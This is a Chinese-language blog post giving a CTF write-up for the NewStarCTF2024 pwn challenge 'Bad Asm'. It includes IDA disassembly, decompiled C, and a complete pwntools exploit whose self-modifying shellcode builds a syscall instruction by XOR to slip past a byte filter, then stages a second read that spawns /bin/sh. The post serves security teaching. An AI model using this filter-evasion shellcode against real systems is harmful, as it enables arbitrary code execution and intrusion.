NewStarCTF2024 Pwn Week2 Bad Asm

很好的题,训练了我写shellcode的能力,同时做法也很巧妙。

.text:0000000000001230                               ; __int64 __fastcall exec(__int64 (__fastcall *)(_QWORD, __int64, _QWORD, _QWORD, _QWORD, _QWORD, double, double, double, double, double, double, double, double), __int64)
.text:0000000000001230                               public exec
.text:0000000000001230                               exec proc near                          ; CODE XREF: main+140↓p
.text:0000000000001230
.text:0000000000001230                               var_8= qword ptr -8
.text:0000000000001230
.text:0000000000001230                               ; __unwind {
.text:0000000000001230 F3 0F 1E FA                   endbr64
.text:0000000000001234 55                            push    rbp
.text:0000000000001235 48 89 E5                      mov     rbp, rsp
.text:0000000000001238 48 89 7D F8                   mov     [rbp+var_8], rdi
.text:000000000000123C 48 C7 C0 00 00 00 00          mov     rax, 0
.text:0000000000001243 48 C7 C3 00 00 00 00          mov     rbx, 0
.text:000000000000124A 48 C7 C1 00 00 00 00          mov     rcx, 0
.text:0000000000001251 48 C7 C2 00 00 00 00          mov     rdx, 0
.text:0000000000001258 48 C7 C4 00 00 00 00          mov     rsp, 0
.text:000000000000125F 48 C7 C5 00 00 00 00          mov     rbp, 0
.text:0000000000001266 49 C7 C0 00 00 00 00          mov     r8, 0
.text:000000000000126D 49 C7 C1 00 00 00 00          mov     r9, 0
.text:0000000000001274 49 C7 C2 00 00 00 00          mov     r10, 0
.text:000000000000127B 49 C7 C3 00 00 00 00          mov     r11, 0
.text:0000000000001282 49 C7 C4 00 00 00 00          mov     r12, 0
.text:0000000000001289 49 C7 C5 00 00 00 00          mov     r13, 0
.text:0000000000001290 49 C7 C6 00 00 00 00          mov     r14, 0
.text:0000000000001297 49 C7 C7 00 00 00 00          mov     r15, 0
.text:000000000000129E 66 0F EF C0                   pxor    xmm0, xmm0
.text:00000000000012A2 66 0F EF C9                   pxor    xmm1, xmm1
.text:00000000000012A6 66 0F EF D2                   pxor    xmm2, xmm2
.text:00000000000012AA 66 0F EF DB                   pxor    xmm3, xmm3
.text:00000000000012AE 66 0F EF E4                   pxor    xmm4, xmm4
.text:00000000000012B2 66 0F EF ED                   pxor    xmm5, xmm5
.text:00000000000012B6 66 0F EF F6                   pxor    xmm6, xmm6
.text:00000000000012BA 66 0F EF FF                   pxor    xmm7, xmm7
.text:00000000000012BE FF E7                         jmp     rdi
.text:00000000000012BE
.text:00000000000012BE                               exec endp
.text:00000000000012BE
.text:00000000000012BE                               ; ---------------------------------------------------------------------------
.text:00000000000012C0 90                            db 90h
.text:00000000000012C1                               ; ---------------------------------------------------------------------------
.text:00000000000012C1 5D                            pop     rbp
.text:00000000000012C2 C3                            retn
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+8h] [rbp-18h]
  int v4; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  char *dest; // [rsp+18h] [rbp-8h]

  init();
  label();
  buf = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
  dest = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  puts("Input your Code : ");
  v4 = read(0, buf, 0x1000uLL);
  for ( i = 0; i < v4 - 1; ++i )
  {
    if ( *((_BYTE *)buf + i) == 15 && *((_BYTE *)buf + i + 1) == 5
      || *((_BYTE *)buf + i) == 15 && *((_BYTE *)buf + i + 1) == 52 )
    {
      puts("ERROR \\\\ Unavailable ! : syscall/sysenter/int 0x80");
      exit(1);
    }
  }
  strcpy(dest, (const char *)buf);
  exec(
    (__int64 (__fastcall *)(_QWORD, __int64, _QWORD, _QWORD, _QWORD, _QWORD, double, double, double, double, double, double, double, double))dest,
    (__int64)buf);
  exit(1);
}

IDA逆向一下,读一下源码,给了我们足够的内存空间写shellcode,但是有限制,main函数里面的那个循环限制了我们的shellcode不能包含syscall,后面的strcpy由于会在\x00截断,限制了我们的shellcode里面不能有\x00

首先我们先想想有没有办法绕过syscall的限制,由于给我们的是可读可写可执行的内存空间,我们的shellcode可以是自修改代码,那么我们考虑让shellcode执行时给自己写入syscall

syscall的机器码是0f 05,我们可以通过异或来构造:

mov cx, 0x401f
xor cx, 0x4510

这样执行后cx会等于0x050f,然后我们把这个值mov 到某个地址的话,由于是小端序存储的,实际内存中就会顺序写上0f 05,也就是syscall

我们可以绕过syscall了,按理来讲我们就可以直接写shellcode了,但是因为他这里过滤了\x00,我们不容易在shellcode里面写/bin/sh\x00,因为截断不了,所以我们考虑先调用一次read,在这次read中把调用execve(‘/bin/sh’,0,0)的shellcode写到rwxp的内存空间执行。

我们看看exec函数的汇编代码,发现rdi里面存储着我们shellcode的起始地址,同时它还把所有寄存器的值都给清0了。

因为函数调用的时候不可避免的会用到堆栈,所以我们需要在shellcode里面初始化一下rsp,这个选择一个内存空间里较远的地址就好。

然后由于我们知道内存空间基地址,我们的自修改代码就很好实现了,因为我们可以通过选择偏移+内存空间基地址来确定我们具体把syscall写入哪里,而关于read的地址也是一样的。

exp:

from pwn import *
context(arch='amd64',os='linux')
#p = process('./pwn')
p = remote('192.168.146.1',27586)
test_shellcode = '''
    nop
    nop
    nop
    ret
'''
def main():
    shellcode = '''
    mov rsp, rdi
    add sp, 0x0888
    mov rax, rdi
    xor rdi, rdi
    mov rsi, rax
    mov dx, 0x3fff
    mov cx, 0x401f
    xor cx, 0x4510
    add al, 0x40
    mov [rax], cx
    xor rax, rax
    '''
    payload = asm(shellcode).ljust(0x40,b'\x90')
    print(payload)
    p.wait(0.1)
    p.sendafter(b'Input your Code : \n',payload)
    shellcode = '''
    mov rax, 0x68732f2f6e69622f
    push rax
    mov rdi, rsp
    mov rax, 59
    xor rsi, rsi
    xor rdx, rdx
    syscall
    '''
    payload = b'a'*0x42+asm(shellcode)
    p.wait(0.1)
    p.send(payload)
    p.interactive()

if __name__ == '__main__':
    main()

总结一下就是,你得明白环境的限制有哪些,以及你要怎么应对这些限制,是想办法绕过,还是直接换一种思路。同时你还要积累和熟悉,环境的各种性质可以怎么去利用,例如这里的rwxp的内存,你就可以利用这个性质去写可以自修改的shellcode.

然后就是如果你在利用shellcode的了,很多时候通过汇编指令就可以实现许多功能了,例如这里的地址写入,直接mov就行,别还去调用read

posted @ 2025-11-24 20:33  Regules  阅读(3)  评论(0)    收藏  举报